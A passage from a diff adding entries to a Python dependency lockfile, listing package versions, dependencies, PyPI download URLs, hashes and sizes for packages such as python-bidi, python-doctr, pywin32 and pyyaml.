"sha256:6c051f2d28ca542092d01da8b5fe110fb6191ff58d298a54a93dc183bece63bf", size = 491844, upload-time = "2025-10-22T09:52:31.216Z" }, + { url = "https://files.pythonhosted.org/packages/65/85/103baaf142b2838f583b71904a2454fa31bd2a912ff505c25874f45d6c3e/python_bidi-0.6.7-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:95867a07c5dee0ea2340fe1d0e4f6d9f5c5687d473193b6ee6f86fa44aac45d1", size = 463753, upload-time = "2025-10-22T09:52:41.943Z" }, + { url = "https://files.pythonhosted.org/packages/54/c3/6a5c3b9f42a6b188430c83a7e70a76bc7c0db3354302fce7c8ed94a0c062/python_bidi-0.6.7-cp312-cp312-win32.whl", hash = "sha256:4c73cd980d45bb967799c7f0fc98ea93ae3d65b21ef2ba6abef6a057720bf483", size = 155820, upload-time = "2025-10-22T09:53:00.254Z" }, + { url = "https://files.pythonhosted.org/packages/45/c4/683216398ee3abf6b9bb0f26ae15c696fabbe36468ba26d5271f0c11b343/python_bidi-0.6.7-cp312-cp312-win_amd64.whl", hash = "sha256:d524a4ba765bae9b950706472a77a887a525ed21144fe4b41f6190f6e57caa2c", size = 159966, upload-time = "2025-10-22T09:52:52.547Z" }, + { url = "https://files.pythonhosted.org/packages/25/a5/8ad0a448d42fd5d01dd127c1dc5ab974a8ea6e20305ac89a3356dacd3bdf/python_bidi-0.6.7-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:1c061207212cd1db27bf6140b96dcd0536246f1e13e99bb5d03f4632f8e2ad7f", size = 272129, upload-time = "2025-10-22T09:52:00.761Z" }, + { url = "https://files.pythonhosted.org/packages/e6/c0/a13981fc0427a0d35e96fc4e31fbb0f981b28d0ce08416f98f42d51ea3bc/python_bidi-0.6.7-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:a2eb8fca918c7381531035c3aae31c29a1c1300ab8a63cad1ec3a71331096c78", size = 263174, upload-time = "2025-10-22T09:51:51.401Z" }, + { url = "https://files.pythonhosted.org/packages/9c/32/74034239d0bca32c315cac5c3ec07ef8eb44fa0e8cea1585cad85f5b8651/python_bidi-0.6.7-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:414004fe9cba33d288ff4a04e1c9afe6a737f440595d01b5bbed00d750296bbd", size = 292496, upload-time = "2025-10-22T09:51:00.708Z" }, + { url = "https://files.pythonhosted.org/packages/83/fa/d6c853ed2668b1c12d66e71d4f843d0710d1ccaecc17ce09b35d2b1382a7/python_bidi-0.6.7-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:5013ba963e9da606c4c03958cc737ebd5f8b9b8404bd71ab0d580048c746f875", size = 300727, upload-time = "2025-10-22T09:51:09.152Z" }, + { url = "https://files.pythonhosted.org/packages/9c/8d/55685bddfc1fbfa6e28e1c0be7df4023e504de7d2ac1355a3fa610836bc1/python_bidi-0.6.7-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:ad5f0847da00687f52d2b81828e8d887bdea9eb8686a9841024ea7a0e153028e", size = 438823, upload-time = "2025-10-22T09:51:17.844Z" }, + { url = "https://files.pythonhosted.org/packages/9f/54/db9e70443f89e3ec6fa70dcd16809c3656d1efe7946076dcd59832f722df/python_bidi-0.6.7-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:26a8fe0d532b966708fc5f8aea0602107fde4745a8a5ae961edd3cf02e807d07", size = 325721, upload-time = "2025-10-22T09:51:26.132Z" }, + { url = "https://files.pythonhosted.org/packages/55/c5/98ac9c00f17240f9114c756791f0cd9ba59a5d4b5d84fd1a6d0d50604e82/python_bidi-0.6.7-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6323e943c7672b271ad9575a2232508f17e87e81a78d7d10d6e93040e210eddf", size = 300493, upload-time = "2025-10-22T09:51:43.783Z" }, + { url = "https://files.pythonhosted.org/packages/0b/cb/382538dd7c656eb50408802b9a9466dbd3432bea059410e65a6c14bc79f9/python_bidi-0.6.7-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:349b89c3110bd25aa56d79418239ca4785d4bcc7a596e63bb996a9696fc6a907", size = 312889, upload-time = "2025-10-22T09:51:36.011Z" }, + { url = "https://files.pythonhosted.org/packages/50/8d/dbc784cecd9b2950ba99c8fef0387ae588837e4e2bfd543be191d18bf9f6/python_bidi-0.6.7-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:e7cad66317f12f0fd755fe41ee7c6b06531d2189a9048a8f37addb5109f7e3e3", size = 472798, upload-time = "2025-10-22T09:52:10.446Z" }, + { url = "https://files.pythonhosted.org/packages/83/e6/398d59075265717d2950622ede1d366aff88ffcaa67a30b85709dea72206/python_bidi-0.6.7-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:49639743f1230648fd4fb47547f8a48ada9c5ca1426b17ac08e3be607c65394c", size = 564974, upload-time = "2025-10-22T09:52:22.416Z" }, + { url = "https://files.pythonhosted.org/packages/7c/8e/2b939be0651bc2b69c234dc700723a26b93611d5bdd06b253d67d9da3557/python_bidi-0.6.7-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:4636d572b357ab9f313c5340915c1cf51e3e54dd069351e02b6b76577fd1a854", size = 491711, upload-time = "2025-10-22T09:52:32.322Z" }, + { url = "https://files.pythonhosted.org/packages/8f/05/f53739ab2ce2eee0c855479a31b64933f6ff6164f3ddc611d04e4b79d922/python_bidi-0.6.7-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:d7310312a68fdb1a8249cf114acb5435aa6b6a958b15810f053c1df5f98476e4", size = 463536, upload-time = "2025-10-22T09:52:43.142Z" }, + { url = "https://files.pythonhosted.org/packages/77/c6/800899e2764f723c2ea9172eabcc1a31ffb8b4bb71ea5869158fd83bd437/python_bidi-0.6.7-cp313-cp313-win32.whl", hash = "sha256:ec985386bc3cd54155f2ef0434fccbfd743617ed6fc1a84dae2ab1de6062e0c6", size = 155786, upload-time = "2025-10-22T09:53:01.357Z" }, + { url = "https://files.pythonhosted.org/packages/30/ba/a811c12c1a4b8fa7c0c0963d92c042284c2049b1586615af6b1774b786d9/python_bidi-0.6.7-cp313-cp313-win_amd64.whl", hash = "sha256:f57726b5a90d818625e6996f5116971b7a4ceb888832337d0e2cf43d1c362a90", size = 159863, upload-time = "2025-10-22T09:52:53.537Z" }, + { url = "https://files.pythonhosted.org/packages/6f/a5/cda302126e878be162bf183eb0bd6dc47ca3e680fb52111e49c62a8ea1eb/python_bidi-0.6.7-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:b0bee27fb596a0f518369c275a965d0448c39a0730e53a030b311bb10562d4d5", size = 271899, upload-time = "2025-10-22T09:52:01.758Z" }, + { url = "https://files.pythonhosted.org/packages/4d/4b/9c15ca0fe795a5c55a39daa391524ac74e26d9187493632d455257771023/python_bidi-0.6.7-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6c19ab378fefb1f09623f583fcfa12ed42369a998ddfbd39c40908397243c56b", size = 262235, upload-time = "2025-10-22T09:51:52.379Z" }, + { url = "https://files.pythonhosted.org/packages/0f/5e/25b25be64bff05272aa28d8bef2fbbad8415db3159a41703eb2e63dc9824/python_bidi-0.6.7-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:630cee960ba9e3016f95a8e6f725a621ddeff6fd287839f5693ccfab3f3a9b5c", size = 471983, upload-time = "2025-10-22T09:52:12.182Z" }, + { url = "https://files.pythonhosted.org/packages/4d/78/a9363f5da1b10d9211514b96ea47ecc95c797ed5ac566684bfece0666082/python_bidi-0.6.7-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:0dbb4bbae212cca5bcf6e522fe8f572aff7d62544557734c2f810ded844d9eea", size = 565016, upload-time = "2025-10-22T09:52:23.515Z" }, + { url = "https://files.pythonhosted.org/packages/0d/ed/37dcb7d3dc250ecdff8120b026c37fcdbeada4111e4d7148c053180bcf54/python_bidi-0.6.7-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:1dd0a5ec0d8710905cebb4c9e5018aa8464395a33cb32a3a6c2a951bf1984fe5", size = 491180, upload-time = "2025-10-22T09:52:33.505Z" }, + { url = "https://files.pythonhosted.org/packages/40/a3/50d1f6060a7a500768768f5f8735cb68deba36391248dbf13d5d2c9c0885/python_bidi-0.6.7-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:4ea928c31c7364098f853f122868f6f2155d6840661f7ea8b2ccfdf6084eb9f4", size = 463126, upload-time = "2025-10-22T09:52:44.28Z" }, + { url = "https://files.pythonhosted.org/packages/d2/47/712cd7d1068795c57fdf6c4acca00716688aa8b4e353b30de2ed8f599fd6/python_bidi-0.6.7-cp314-cp314-win32.whl", hash = "sha256:f7c055a50d068b3a924bd33a327646346839f55bcb762a26ec3fde8ea5d40564", size = 155793, upload-time = "2025-10-22T09:53:02.7Z" }, + { url = "https://files.pythonhosted.org/packages/c3/e8/1f86bf699b20220578351f9b7b635ed8b6e84dd51ad3cca08b89513ae971/python_bidi-0.6.7-cp314-cp314-win_amd64.whl", hash = "sha256:8a17631e3e691eec4ae6a370f7b035cf0a5767f4457bd615d11728c23df72e43", size = 159821, upload-time = "2025-10-22T09:52:54.95Z" }, + { url = "https://files.pythonhosted.org/packages/b8/4e/6135798d84b62eea70c0f9435301c2a4ba854e87be93a3fcd1d935266d24/python_bidi-0.6.7-pp311-pypy311_pp73-macosx_10_12_x86_64.whl", hash = "sha256:c9a679b24f5c6f366a0dec75745e1abeae2f597f033d0d54c74cbe62e7e6ae28", size = 276275, upload-time = "2025-10-22T09:52:05.078Z" }, + { url = "https://files.pythonhosted.org/packages/74/83/2123596d43e552af9e2806e361646fa579f34a1d1e9e2c1707a0ab6a02dd/python_bidi-0.6.7-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:05fe5971110013610f0db40505d0b204edc756e92eafac1372a464f8b9162b11", size = 266951, upload-time = "2025-10-22T09:51:56.216Z" }, + { url = "https://files.pythonhosted.org/packages/5c/8c/8d1e1501717227a6d52fc7b9c47a3de61486b024fbdd4821bfad724c0699/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:17572944e6d8fb616d111fc702c759da2bf7cedab85a3e4fa2af0c9eb95ed438", size = 295745, upload-time = "2025-10-22T09:51:04.438Z" }, + { url = "https://files.pythonhosted.org/packages/fd/ff/ef04e7f9067c2c5d862b9f8d9a192486c500c8aa295f0fb756c25ab47fc8/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3b63d19f3f56ff7f99bce5ca9ef8c811dbf0f509d8e84c1bc06105ed26a49528", size = 304123, upload-time = "2025-10-22T09:51:12.559Z" }, + { url = "https://files.pythonhosted.org/packages/be/72/b973895e257a7d4cc8365ab094612f6ee885df863a4964d8865b9f534b67/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f1350033431d75be749273236dcfc808e54404cd6ece6204cdb1bc4ccc163455", size = 442484, upload-time = "2025-10-22T09:51:21.575Z" }, + { url = "https://files.pythonhosted.org/packages/c1/1a/68ca9d10bc309828e8cdb2d57a30dd7e5753ac8520c8d7a0322daeb9eef7/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:1c5fb99f774748de283fadf915106f130b74be1bade934b7f73a7a8488b95da1", size = 329149, upload-time = "2025-10-22T09:51:31.232Z" }, + { url = "https://files.pythonhosted.org/packages/03/40/ab450c06167a7de596d99b1ba5cee2c605b3ff184baccf08210ede706b1b/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2d28e2bdcadf5b6161bb4ee9313ce41eac746ba57e744168bf723a415a11af05", size = 303529, upload-time = "2025-10-22T09:51:46.997Z" }, + { url = "https://files.pythonhosted.org/packages/ec/c5/585b5c413e3b77a32500fb877ea30aa23c45a6064dbd7fe77d87b72cd90b/python_bidi-0.6.7-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c3777ae3e088e94df854fbcbd8d59f9239b74aac036cb6bbd19f8035c8e42478", size = 317753, upload-time = "2025-10-22T09:51:39.272Z" }, + { url = "https://files.pythonhosted.org/packages/f9/05/b7b4b447890d614ccb40633f4d65f334bcf9fe3ad13be33aaa54dcbc34f3/python_bidi-0.6.7-pp311-pypy311_pp73-musllinux_1_2_aarch64.whl", hash = "sha256:77bb4cbadf4121db395189065c58c9dd5d1950257cc1983004e6df4a3e2f97ad", size = 476054, upload-time = "2025-10-22T09:52:15.856Z" }, + { url = "https://files.pythonhosted.org/packages/ca/94/64f6d2c09c4426918345b54ca8902f94b663eadd744c9dd89070f546c9bc/python_bidi-0.6.7-pp311-pypy311_pp73-musllinux_1_2_armv7l.whl", hash = "sha256:f1fe71c203f66bc169a393964d5702f9251cfd4d70279cb6453fdd42bd2e675f", size = 568365, upload-time = "2025-10-22T09:52:27.556Z" }, + { url = "https://files.pythonhosted.org/packages/fc/d2/c39a6b82aa0fcedac7cbe6078b78bb9089b43d903f8e00859e42b504bb8e/python_bidi-0.6.7-pp311-pypy311_pp73-musllinux_1_2_i686.whl", hash = "sha256:d87ed09e5c9b6d2648e8856a4e556147b9d3cd4d63905fa664dd6706bc414256", size = 495292, upload-time = "2025-10-22T09:52:38.306Z" }, + { url = "https://files.pythonhosted.org/packages/0a/8d/a80f37ab92118e305d7b574306553599f81534c50b4eb23ef34ebe09c09c/python_bidi-0.6.7-pp311-pypy311_pp73-musllinux_1_2_x86_64.whl", hash = "sha256:766d5f5a686eb99b53168a7bdfb338035931a609bdbbcb537cef9e050a86f359", size = 467159, upload-time = "2025-10-22T09:52:48.603Z" }, +] + +[[package]] +name = "python-dateutil" +version = "2.9.0.post0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "six" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/66/c0/0c8b6ad9f17a802ee498c46e004a0eb49bc148f2fd230864601a86dcf6db/python-dateutil-2.9.0.post0.tar.gz", hash = "sha256:37dd54208da7e1cd875388217d5e00ebd4179249f90fb72437e91a35459a0ad3", size = 342432, upload-time = "2024-03-01T18:36:20.211Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/ec/57/56b9bcc3c9c6a792fcbaf139543cee77261f3651ca9da0c93f5c1221264b/python_dateutil-2.9.0.post0-py2.py3-none-any.whl", hash = "sha256:a8b2bc7bffae282281c8140a97d3aa9c14da0b136dfe83f850eea9a5f7470427", size = 229892, upload-time = "2024-03-01T18:36:18.57Z" }, +] + +[[package]] +name = "python-doctr" +version = "0.11.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "anyascii" }, + { name = "defusedxml" }, + { name = "h5py" }, + { name = "huggingface-hub" }, + { name = "langdetect" }, + { name = "numpy" }, + { name = "opencv-python" }, + { name = "pillow" }, + { name = "pyclipper" }, + { name = "pypdfium2" }, + { name = "rapidfuzz" }, + { name = "scipy" }, + { name = "shapely" }, + { name = "tqdm" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/4f/d6/6e4e4c01c9192785a11ef574a96b3df236e799f2fce5e97eebb3665ffb21/python_doctr-0.11.0.tar.gz", hash = "sha256:1668491a39ce84ee75553b51cb3e45cb46c54a6d3d999adbf336dc85602643ff", size = 191345, upload-time = "2025-01-30T09:29:41.937Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/23/8d/caa3a90031e350e4fdc69880bf3d2d9f5f0948443ce71601e2c6d172c9b3/python_doctr-0.11.0-py3-none-any.whl", hash = "sha256:000bd28342afa455b81b541555c42edef71e3155632de10ff48ac50bd8c22b86", size = 304145, upload-time = "2025-01-30T09:29:40.072Z" }, +] + +[package.optional-dependencies] +torch = [ + { name = "onnx" }, + { name = "torch" }, + { name = "torchvision" }, +] + +[[package]] +name = "pyvips" +version = "2.2.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "cffi", version = "1.17.1", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.14' and sys_platform == 'darwin'" }, + { name = "cffi", version = "2.0.0", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.14' or sys_platform != 'darwin'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/7b/88/f73dae807ec68b228fba72507105e3ba80a561dc0bade0004ce24fd118fc/pyvips-2.2.3.tar.gz", hash = "sha256:43bceced0db492654c93008246a58a508e0373ae1621116b87b322f2ac72212f", size = 56626, upload-time = "2024-04-28T11:19:58.158Z" } + +[[package]] +name = "pywin32" +version = "311" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7b/40/44efbb0dfbd33aca6a6483191dae0716070ed99e2ecb0c53683f400a0b4f/pywin32-311-cp310-cp310-win32.whl", hash = "sha256:d03ff496d2a0cd4a5893504789d4a15399133fe82517455e78bad62efbb7f0a3", size = 8760432, upload-time = "2025-07-14T20:13:05.9Z" }, + { url = "https://files.pythonhosted.org/packages/5e/bf/360243b1e953bd254a82f12653974be395ba880e7ec23e3731d9f73921cc/pywin32-311-cp310-cp310-win_amd64.whl", hash = "sha256:797c2772017851984b97180b0bebe4b620bb86328e8a884bb626156295a63b3b", size = 9590103, upload-time = "2025-07-14T20:13:07.698Z" }, + { url = "https://files.pythonhosted.org/packages/57/38/d290720e6f138086fb3d5ffe0b6caa019a791dd57866940c82e4eeaf2012/pywin32-311-cp310-cp310-win_arm64.whl", hash = "sha256:0502d1facf1fed4839a9a51ccbcc63d952cf318f78ffc00a7e78528ac27d7a2b", size = 8778557, upload-time = "2025-07-14T20:13:11.11Z" }, + { url = "https://files.pythonhosted.org/packages/7c/af/449a6a91e5d6db51420875c54f6aff7c97a86a3b13a0b4f1a5c13b988de3/pywin32-311-cp311-cp311-win32.whl", hash = "sha256:184eb5e436dea364dcd3d2316d577d625c0351bf237c4e9a5fabbcfa5a58b151", size = 8697031, upload-time = "2025-07-14T20:13:13.266Z" }, + { url = "https://files.pythonhosted.org/packages/51/8f/9bb81dd5bb77d22243d33c8397f09377056d5c687aa6d4042bea7fbf8364/pywin32-311-cp311-cp311-win_amd64.whl", hash = "sha256:3ce80b34b22b17ccbd937a6e78e7225d80c52f5ab9940fe0506a1a16f3dab503", size = 9508308, upload-time = "2025-07-14T20:13:15.147Z" }, + { url = "https://files.pythonhosted.org/packages/44/7b/9c2ab54f74a138c491aba1b1cd0795ba61f144c711daea84a88b63dc0f6c/pywin32-311-cp311-cp311-win_arm64.whl", hash = "sha256:a733f1388e1a842abb67ffa8e7aad0e70ac519e09b0f6a784e65a136ec7cefd2", size = 8703930, upload-time = "2025-07-14T20:13:16.945Z" }, + { url = "https://files.pythonhosted.org/packages/e7/ab/01ea1943d4eba0f850c3c61e78e8dd59757ff815ff3ccd0a84de5f541f42/pywin32-311-cp312-cp312-win32.whl", hash = "sha256:750ec6e621af2b948540032557b10a2d43b0cee2ae9758c54154d711cc852d31", size = 8706543, upload-time = "2025-07-14T20:13:20.765Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a8/a0e8d07d4d051ec7502cd58b291ec98dcc0c3fff027caad0470b72cfcc2f/pywin32-311-cp312-cp312-win_amd64.whl", hash = "sha256:b8c095edad5c211ff31c05223658e71bf7116daa0ecf3ad85f3201ea3190d067", size = 9495040, upload-time = "2025-07-14T20:13:22.543Z" }, + { url = "https://files.pythonhosted.org/packages/ba/3a/2ae996277b4b50f17d61f0603efd8253cb2d79cc7ae159468007b586396d/pywin32-311-cp312-cp312-win_arm64.whl", hash = "sha256:e286f46a9a39c4a18b319c28f59b61de793654af2f395c102b4f819e584b5852", size = 8710102, upload-time = "2025-07-14T20:13:24.682Z" }, + { url = "https://files.pythonhosted.org/packages/a5/be/3fd5de0979fcb3994bfee0d65ed8ca9506a8a1260651b86174f6a86f52b3/pywin32-311-cp313-cp313-win32.whl", hash = "sha256:f95ba5a847cba10dd8c4d8fefa9f2a6cf283b8b88ed6178fa8a6c1ab16054d0d", size = 8705700, upload-time = "2025-07-14T20:13:26.471Z" }, + { url = "https://files.pythonhosted.org/packages/e3/28/e0a1909523c6890208295a29e05c2adb2126364e289826c0a8bc7297bd5c/pywin32-311-cp313-cp313-win_amd64.whl", hash = "sha256:718a38f7e5b058e76aee1c56ddd06908116d35147e133427e59a3983f703a20d", size = 9494700, upload-time = "2025-07-14T20:13:28.243Z" }, + { url = "https://files.pythonhosted.org/packages/04/bf/90339ac0f55726dce7d794e6d79a18a91265bdf3aa70b6b9ca52f35e022a/pywin32-311-cp313-cp313-win_arm64.whl", hash = "sha256:7b4075d959648406202d92a2310cb990fea19b535c7f4a78d3f5e10b926eeb8a", size = 8709318, upload-time = "2025-07-14T20:13:30.348Z" }, + { url = "https://files.pythonhosted.org/packages/c9/31/097f2e132c4f16d99a22bfb777e0fd88bd8e1c634304e102f313af69ace5/pywin32-311-cp314-cp314-win32.whl", hash = "sha256:b7a2c10b93f8986666d0c803ee19b5990885872a7de910fc460f9b0c2fbf92ee", size = 8840714, upload-time = "2025-07-14T20:13:32.449Z" }, + { url = "https://files.pythonhosted.org/packages/90/4b/07c77d8ba0e01349358082713400435347df8426208171ce297da32c313d/pywin32-311-cp314-cp314-win_amd64.whl", hash = "sha256:3aca44c046bd2ed8c90de9cb8427f581c479e594e99b5c0bb19b29c10fd6cb87", size = 9656800, upload-time = "2025-07-14T20:13:34.312Z" }, + { url = "https://files.pythonhosted.org/packages/c0/d2/21af5c535501a7233e734b8af901574572da66fcc254cb35d0609c9080dd/pywin32-311-cp314-cp314-win_arm64.whl", hash = "sha256:a508e2d9025764a8270f93111a970e1d0fbfc33f4153b388bb649b7eec4f9b42", size = 8932540, upload-time = "2025-07-14T20:13:36.379Z" }, +] + +[[package]] +name = "pywin32-ctypes" +version = "0.2.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/85/9f/01a1a99704853cb63f253eea009390c88e7131c67e66a0a02099a8c917cb/pywin32-ctypes-0.2.3.tar.gz", hash = "sha256:d162dc04946d704503b2edc4d55f3dba5c1d539ead017afa00142c38b9885755", size = 29471, upload-time = "2024-08-14T10:15:34.626Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/de/3d/8161f7711c017e01ac9f008dfddd9410dff3674334c233bde66e7ba65bbf/pywin32_ctypes-0.2.3-py3-none-any.whl", hash = "sha256:8a1513379d709975552d202d942d9837758905c8d01eb82b8bcc30918929e7b8", size = 30756, upload-time = "2024-08-14T10:15:33.187Z" }, +] + +[[package]] +name = "pyyaml" +version = "6.0.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz", hash = "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e", size = 130631, upload-time = "2024-08-06T20:33:50.674Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/95/a3fac87cb7158e231b5a6012e438c647e1a87f09f8e0d123acec8ab8bf71/PyYAML-6.0.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:0a9a2848a5b7feac301353437eb7d5957887edbf81d56e903999a75a3d743086", size = 184199, upload-time = "2024-08-06T20:31:40.178Z" }, + { url = "https://files.pythonhosted.org/packages/c7/7a/68bd47624dab8fd4afbfd3c48e3b79efe09098ae941de5b58abcbadff5cb/PyYAML-6.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:29717114e51c84ddfba879543fb232a6ed60086602313ca38cce623c1d62cfbf", size = 171758, upload-time = "2024-08-06T20:31:42.173Z" }, + { url = "https://files.pythonhosted.org/packages/49/ee/14c54df452143b9ee9f0f29074d7ca5516a36edb0b4cc40c3f280131656f/PyYAML-6.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8824b5a04a04a047e72eea5cec3bc266db09e35de6bdfe34c9436ac5ee27d237", size = 718463, upload-time = "2024-08-06T20:31:44.263Z" }, + { url = "https://files.pythonhosted.org/packages/4d/61/de363a97476e766574650d742205be468921a7b532aa2499fcd886b62530/PyYAML-6.0.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:7c36280e6fb8385e520936c3cb3b8042851904eba0e58d277dca80a5cfed590b", size = 719280, upload-time = "2024-08-06T20:31:50.199Z" }, + { url = "https://files.pythonhosted.org/packages/6b/4e/1523cb902fd98355e2e9ea5e5eb237cbc5f3ad5f3075fa65087aa0ecb669/PyYAML-6.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ec031d5d2feb36d1d1a24380e4db6d43695f3748343d99434e6f5f9156aaa2ed", size = 751239, upload-time = "2024-08-06T20:31:52.292Z" }, + { url = "https://files.pythonhosted.org/packages/b7/33/5504b3a9a4464893c32f118a9cc045190a91637b119a9c881da1cf6b7a72/PyYAML-6.0.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:936d68689298c36b53b29f23c6dbb74de12b4ac12ca6cfe0e047bedceea56180", size = 695802, upload-time = "2024-08-06T20:31:53.836Z" }, + { url = "https://files.pythonhosted.org/packages/5c/20/8347dcabd41ef3a3cdc4f7b7a2aff3d06598c8779faa189cdbf878b626a4/PyYAML-6.0.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:23502f431948090f597378482b4812b0caae32c22213aecf3b55325e049a6c68", size = 720527, upload-time = "2024-08-06T20:31:55.565Z" }, + { url = "https://files.pythonhosted.org/packages/be/aa/5afe99233fb360d0ff37377145a949ae258aaab831bde4792b32650a4378/PyYAML-6.0.2-cp310-cp310-win32.whl", hash = "sha256:2e99c6826ffa974fe6e27cdb5ed0021786b03fc98e5ee3c5bfe1fd5015f42b99", size = 144052, upload-time = "2024-08-06T20:31:56.914Z" }, + { url = "https://files.pythonhosted.org/packages/b5/84/0fa4b06f6d6c958d207620fc60005e241ecedceee58931bb20138e1e5776/PyYAML-6.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:a4d3091415f010369ae4ed1fc6b79def9416358877534caf6a0fdd2146c87a3e", size = 161774, upload-time = "2024-08-06T20:31:58.304Z" }, + { url = "https://files.pythonhosted.org/packages/f8/aa/7af4e81f7acba21a4c6be026da38fd2b872ca46226673c89a758ebdc4fd2/PyYAML-6.0.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cc1c1159b3d456576af7a3e4d1ba7e6924cb39de8f67111c735f6fc832082774", size = 184612, upload-time = "2024-08-06T20:32:03.408Z" }, + { url = "https://files.pythonhosted.org/packages/8b/62/b9faa998fd185f65c1371643678e4d58254add437edb764a08c5a98fb986/PyYAML-6.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1e2120ef853f59c7419231f3bf4e7021f1b936f6ebd222406c3b60212205d2ee", size = 172040, upload-time = "2024-08-06T20:32:04.926Z" }, + { url = "https://files.pythonhosted.org/packages/ad/0c/c804f5f922a9a6563bab712d8dcc70251e8af811fce4524d57c2c0fd49a4/PyYAML-6.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5d225db5a45f21e78dd9358e58a98702a0302f2659a3c6cd320564b75b86f47c", size = 736829, upload-time = "2024-08-06T20:32:06.459Z" }, + { url = "https://files.pythonhosted.org/packages/51/16/6af8d6a6b210c8e54f1406a6b9481febf9c64a3109c541567e35a49aa2e7/PyYAML-6.0.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5ac9328ec4831237bec75defaf839f7d4564be1e6b25ac710bd1a96321cc8317", size = 764167, upload-time = "2024-08-06T20:32:08.338Z" }, + { url = "https://files.pythonhosted.org/packages/75/e4/2c27590dfc9992f73aabbeb9241ae20220bd9452df27483b6e56d3975cc5/PyYAML-6.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ad2a3decf9aaba3d29c8f537ac4b243e36bef957511b4766cb0057d32b0be85", size = 762952, upload-time = "2024-08-06T20:32:14.124Z" }, + { url = "https://files.pythonhosted.org/packages/9b/97/ecc1abf4a823f5ac61941a9c00fe501b02ac3ab0e373c3857f7d4b83e2b6/PyYAML-6.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:ff3824dc5261f50c9b0dfb3be22b4567a6f938ccce4587b38952d85fd9e9afe4", size = 735301, upload-time = "2024-08-06T20:32:16.17Z" }, + { url = "https://files.pythonhosted.org/packages/45/73/0f49dacd6e82c9430e46f4a027baa4ca205e8b0a9dce1397f44edc23559d/PyYAML-6.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:797b4f722ffa07cc8d62053e4cff1486fa6dc094105d13fea7b1de7d8bf71c9e", size = 756638, upload-time = "2024-08-06T20:32:18.555Z" }, + { url = "https://files.pythonhosted.org/packages/22/5f/956f0f9fc65223a58fbc14459bf34b4cc48dec52e00535c79b8db361aabd/PyYAML-6.0.2-cp311-cp311-win32.whl", hash = "sha256:11d8f3dd2b9c1207dcaf2ee0bbbfd5991f571186ec9cc78427ba5bd32afae4b5", size = 143850, upload-time = "2024-08-06T20:32:19.889Z" }, + { url = 